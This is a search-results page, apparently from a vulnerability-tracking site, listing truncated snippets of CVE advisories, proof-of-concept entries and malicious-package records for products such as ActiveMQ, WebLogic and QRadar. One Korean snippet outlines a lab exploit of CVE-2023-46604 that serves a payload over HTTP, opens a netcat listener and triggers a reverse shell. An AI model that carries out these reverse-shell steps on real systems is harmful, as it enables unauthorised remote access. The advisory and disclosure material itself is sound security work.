176 matches found
CVE-2023-43208_Detection_PoC
CVE-2023-43208DetectionPoC Используйте java.net.InetAddress для обнаружения root@kitploit: POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964...
CVE-2023-46604
CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신으로 구성된 2개의 이미지를 포함하는 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환합니다: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신 대기합니다: nc -nlvp 4444 • 공격자 머신으로 리버스 셸 연결을 생성하는 payload를 전송합니다: python3 exploit.py -i...
CVE-2026-3415
CVE-2026-3415 affects WSO2 products where the SchemaValidator Mediator processes XML input during validation. The XML parser may resolve external entities under certain crafted payloads, enabling an attacker with sufficient privileges to read files on the server and possibly cause outbound reques...
CVE-2026-10025 IBM QRadar SIEM has an XML External Entity (XXE) injection vulnerability
IBM QRadar 7.6.0.0 through 7.6.0.1, and 7.5.0 through 7.5.0 UP 15 Interim Fix 005 has an XML External Entity XXE injection vulnerability. The vulnerability resides in the parseXmlPayload function within the event processing pipeline q1labscore.jar . When at least one log source type is configured...
📄 Oracle WebLogic WLS-WSAT XMLDecoder Remote Code Execution
This script is a Python-based proof of concept exploit targeting a deserialization vulnerability in Oracle WebLogic Server's WLS-WSAT component. The vulnerability allows unauthenticated attackers to execute arbitrary system commands via crafted SOAP requests sent to the...
PT-2026-38422
Name of the Vulnerable Software and Affected Versions Fluent Forms WordPress plugin versions prior to 6.2.1 PAN-OS versions prior to 10.2.9-h1 PAN-OS versions prior to 11.0.4-h2 PAN-OS versions prior to 11.1.2-h3 Description Fluent Forms contains an issue where ownership is not properly verified...
CVE-2024-8010
The component accepts XML input through the publisher without disabling external entity resolution. This allows malicious actors to submit a crafted XML payload that exploits the unescaped external entity references. By leveraging this vulnerability, a malicious actor can read confidential files...
CVE-2026-39367
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG Electronic Program Guide feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epglin...
Exploit for CVE-2026-34197
CVE-2026-34197 CVE-2026-34197 activemq PoC PoC for the Activ...
PT-2026-30986
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG Electronic Program Guide feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg li...
PT-2026-2419
Name of the Vulnerable Software and Affected Versions Inbit Messenger versions 4.6.0 through 4.9.0 Description Inbit Messenger versions 4.6.0 through 4.9.0 have a remote command execution issue. Unauthenticated attackers can execute arbitrary commands by exploiting a stack overflow in the...
CVE-2025-26489
Improper input validation in the Netconf service in Infinera MTC-9 allows remote authenticated users to crash the service and reboot the appliance, thus causing a DoS condition, via crafted XML payloads.This issue affects MTC-9: from R22.1.1.0275 before R23.0...
EUVD-2020-11458
Malware in sbrugna...
EUVD-2019-8673
Malware in sbrugna...
EUVD-2019-8674
Malware in sbrugna...
EUVD-2022-35526
Malicious code in bioql PyPI...
EUVD-2022-36233
Malicious code in bioql PyPI...
EUVD-2022-33857
Malicious code in bioql PyPI...